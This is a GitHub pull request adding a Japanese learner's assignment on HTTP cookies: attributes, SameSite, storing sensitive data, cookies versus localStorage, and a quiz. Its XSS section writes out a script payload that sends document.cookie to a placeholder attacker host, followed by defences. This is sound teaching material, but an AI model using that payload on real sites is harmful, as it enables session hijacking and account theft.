Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

51. Cookieを理解する #226

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
217 changes: 217 additions & 0 deletions 95IG7y3HHX7yl4/06_WEBの基礎/04_Cookieを理解する/課題.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,217 @@
# 課題1(質問)
> Cookieとは何でしょうか?「Set-cookie」「ヘッダ」「サーバ」「ブラウザ」という単語を使って、Cookieの仕組みを説明してみてください

Cookieは、サーバーがClientのウェブブラウザーに送信する小さなデータ。
ブラウザーは Cookie を保存したり、新しい Cookie を作成したり、既存の Cookie を変更したり、後でリクエストされたときに同じサーバーにそれらを送り返したりすることができる。

<img src="https://developer.mozilla.org/ja/docs/Web/HTTP/Cookies/cookie-basic-example.png" width=500>

### 主な用途
- セッション管理: ユーザーのログイン状態、ショッピングカート、ゲームのスコア、またはその他のユーザーセッションに関するサーバーが覚えておくべきその他のもの。
- パーソナライズ: 表示言語や UI テーマのようなユーザー設定。
- トラッキング: ユーザーの行動の記録および分析。

### Cookie の作成、削除、更新
サーバーからブラウザーに、Cookieを送る場合は、Set-Cookie ヘッダーを送信する。

```
Set-Cookie: <cookie-name>=<cookie-value>

// 例
HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[ページの内容]
```

ブラウザーは通常、同じドメインに対するリクエストを行う際に、以前にそのドメインから受け取ったクッキーを自動的にHTTPヘッダーに付加してサーバーに送信する。
```
GET /sample_page.html HTTP/2.0
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```

[HTTP Cookie の使用](https://developer.mozilla.org/ja/docs/Web/HTTP/Cookies)

> www.hoge.com で発行されたCookieは、www.fuga.comにも送信されるでしょうか?その理由を説明してください

送信されない。
セキュリティ上の制約で、CookieのDomain属性は、Cookieを発行したドメインと同じか、より広いドメインにしか設定できない。
なので、たとえwww.hoge.comのサーバーが発行したクッキーのドメイン属性がwww.fuga.comだったとしても、送信されない。

> hoge.com:8080 のCookieはhoge.com:9090 にも送信されるでしょうか?

送信される。
クッキーはポートを分けて考えないので、同じドメインであれば、異なるポートでも共有される。

> 8.6. Weak Integrity
>
> Cookies do not provide integrity guarantees for sibling domains (and
> their subdomains).
[RFC 6265](https://www.rfc-editor.org/rfc/rfc6265#section-8.5)

> www.hoge.com で発行されたCookieは、www.api.hoge.com にも送信されるでしょうか?

送信されない。
もしDomain属性が、`Domain=hoge.com`だった場合は、`www.api.hoge.com`がサブドメインになるので、Cookieは共有される。

[Cookie の送信先の定義](https://developer.mozilla.org/ja/docs/Web/HTTP/Cookies#cookie_%E3%81%AE%E9%80%81%E4%BF%A1%E5%85%88%E3%81%AE%E5%AE%9A%E7%BE%A9)

> CookieにDomain="hoge.com"を指定した場合、api.hoge.com にもCookieは送信されるでしょうか?理由を説明してください

送信される。
`api.hoge.com`は、`hoge.com`のサブドメインなので。


> ブラウザで実行されるJavaScriptは場合によってはCookieの値を取得できます。JavaScriptからCookieの値が取得されることを防ぐことは可能でしょうか?どうすれば良いのでしょうか?

`Set-Cookieヘッダー`を以下のようにセットすると、JavaScriptからのcookieのアクセスを禁止できる。
```
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
```
[HttpOnly](https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Set-Cookie#httponly)


> HTTPS(暗号化)通信の時だけCookieを送信することは可能でしょうか?どうすれば良いのでしょうか?

`Set-Cookieヘッダー`を以下のようにセットすると、HTTPSやSSLなど暗号化された通信でのみクッキーをサーバーに送信する。
```
Set-Cookie: <cookie-name>=<cookie-value>; Secure
```
[Secure](https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Set-Cookie#secure)

> CookieにExpiresを設定すると、どのように挙動が変わるでしょうか?

cookieの有効期限を設定できる。
有効期限を過ぎたcookieは、自動的に削除される。
[Expires=<date>](https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Set-Cookie#expiresdate)

> SameSite属性について説明してください

SameSite属性はCookieに付与する属性で、CSRF、Timing AttackやSide Channel Attackの対策として有効。
上記の攻撃は、他のドメインからでもドメインが同じだとCookieが自動で付与される点を利用している。
SameSite属性を設定することで、ブラウザーに明示的に「この Cookie は他のサイトからのリクエストには 付与してはならない」と命令できる。

```例
Set-Cookie: key=value; SameSite=Strict
Set-Cookie: key=value; SameSite=Lax
```

### Strict
SameSite 以外からの全てのリクエストで一切 Cookie を送らなくなる。
これを適用できれば、かなりの問題が解決する強い制限である。
しかし、単に Session Cookie にこの属性を付与すると、例えば別のサイトからリンクで遷移した場合にも Cookie が送られなくなる。
すると、別のサイトから遷移する場合は、毎回ログインが必要となるため、ユーザの利便性も考えると難しい。

### Lax
CrossSite のリクエストでは、 Top Level Navigation 以外は Cookie を送らない。
これにより、別サイトからの遷移でもログイン状態が維持できるため、既存の Session 管理にも導入しやすい。
POST では Cookie が送られないため、後述する CSRF のような攻撃への耐性が高まる。
また、 XHR/fetch() や <img> を用いて発生させる GET は Top Level Navigation ではないため Cookie がつかない。
従って、 JS からリクエストを生成し、時間を測るタイプの攻撃への耐性もある。


| Action | HTML Code | SameSite Attribute |
|------------|-----------------------------------------------------|--------------------|
| link | `<a href="…">` | O |
| prerender | `<link rel="prerender" href="…">` | O |
| form get | `<form method="get" action="…">` | O |
| form post | `<form method="post" action="…">` | X |
| iframe | `<iframe src="…">` | X |
| ajax | `$.get('…')` | X |
| image | `<img src="…">` | X |


[攻撃の説明とSameSite属性を説明している記事](https://blog.jxck.io/entries/2018-10-26/same-site-cookie.html#lax)わかりやすかったです。説明は、ほぼこのサイトから取ってきました。


> Cookieに格納しない方が良い情報の例を、3つ以上挙げてください
Cookieには、機密性の高い情報やプライバシーに関わる情報は保存してはいけない。

- パスワード
- クレジットカード情報
- 個人識別情報
- セキュリティトークン(APIキーや認証トークン)
- ユーザーの同意が得られていないのトラッキング情報を保存する。

> CookieはlocalStorageと混同されることが多々あります。Cookieを使うべきタイミングと、localStorageを使うべきタイミングを挙げてみてください」

### Cookieの特徴
- keyとvalueのセットでデータを保存
- ブラウザ内に保存される
- 保存できるのは文字列のみ
- 配列やオブジェクト等を保存・取得したい場合は、変換が必要
- 有効期限は任意に設定可能
- 保存容量は4KB
- サーバへのデータ通信はリクエスト毎に行われる
- セキュア (SSL) ページでも同じドメインであればCookieは共有される


### localStorageの特徴
- keyとvalueのセットでデータを保存
- 保存できるのは文字列のみ
- ブラウザ内に保存される
- 配列やオブジェクト等を保存・取得したい場合は、変換が必要
- 有効期限は半永久的
- 保存容量は最低でも2MB(ブラウザによる)
- サーバへのデータ通信は行われない
- セキュア (SSL) ページの `localStorage` 値は非セキュアページと分離されるため、同じドメインでもSSLページと非SSLページで`localStorage`のデータは共有されない

### Cookieを使うべきタイミング
Cookie は主にサーバー側で読み取りを行うためのもの
このデータはサーバーが必要としていると判断した際は、Cookieに保存する。


### localStorageを使うべきタイミング
ローカル ストレージはクライアント側でのみ読み取りが可能
このデータはクライアントが必要としていると判断した際は、localStorageに保存する。


### CookieとLocalStorageの違い
| 特徴 | Cookie | LocalStorage |
|------------------|--------------------|----------------|
| 保存容量 | 4KB | 2MB+ |
| サーバへのデータ通信 | リクエスト毎 | 行わない |
| 期限 | 任意で設定可能 | 半永久的 |
| セキュアページでのデータ共有 | 同じドメインで共有 | 非セキュアページと分離 |


[CookieとLocalStorageについて調べて比較した【JavaScript】](https://qiita.com/nanamihirooka/items/8cea5c5d40e1474b844f)
[Local Storage vs Cookies \[closed\]](https://stackoverflow.com/questions/3220660/local-storage-vs-cookies)

> Stack OverflowのようなWEB掲示板サービスを開発しているとしましょう。XSS(クロスサイトスクリプティング)により、他ユーザのCookie情報が抜き出される仕組みを説明してください。どのような対策が考えられますか?

### XSSを利用したセッションハイジャック
```HTML
// 悪意のサイトのXSSの例
<a href="http://target-web-app/index.html?param=<script>(new Image).src='http://attacker-site/log?'+document.cookie</script>">
あなただけにアマゾンギフトカード1万円分プレゼント!!
</a>
```
1. 悪意のあるサイトが、攻撃対象のサイトへcookie情報を抜き取るスクリプトを仕込んだ、リンクを設置する。
2. ユーザーがそのリンクをクリックすることにより、悪意のあるサイトのlogにcookie情報が送られる。
3. 悪意のあるサイトの運営者がこのCookieを自分のブラウザにセットして、被害者ユーザーになりすましてログインする。

### 対策
- 入力のサニタイズ。スクリプトを無効化する https://cybersecurity-jp.com/column/33684#i
- コンテンツセキュリティポリシー (CSP)を設定 https://developer.mozilla.org/ja/docs/Web/HTTP/CSP
- Cookie属性のHttpOnlyやSecureを設定する https://qiita.com/kohekohe1221/items/80ff7a0bba6ac9128f56
- Cookie属性のSameSiteを設定する 

[XSSの傾向と対策](https://www.codegrid.net/articles/frontend-security-1/)

# 課題2(クイズ)
> Cookieに関するクイズを作成してください

Q1. ブラウザーの設定でCookieが無効になっているユーザーはログイン情報を維持することが出来ない。O or X。
Q2. `Domain`属性が設定されていない場合、Cookieはどのドメインに送信されますか?
Q3. 志布志市のふるさと納税特設サイトで情報漏洩の事例面白かったので、興味があれば読んでみてください。
[志布志市のふるさと納税特設サイトで情報漏洩、2年前の不正アクセスが明らかに](https://xtech.nikkei.com/atcl/nxt/column/18/01157/090600093/)
[ECサイトのクロスサイトスクリプティング脆弱性を悪用した攻撃](https://blogs.jpcert.or.jp/ja/2021/07/water_pamola.html)

A1. O
A2. Domain属性が設定されていない場合、CookieはCookieを設定したドメインにのみ送信される。
ドメイン属性は明示的に指定しないほうが安全らしい。https://blog.tokumaru.org/2011/10/cookiedomain.html
A3. 回答なし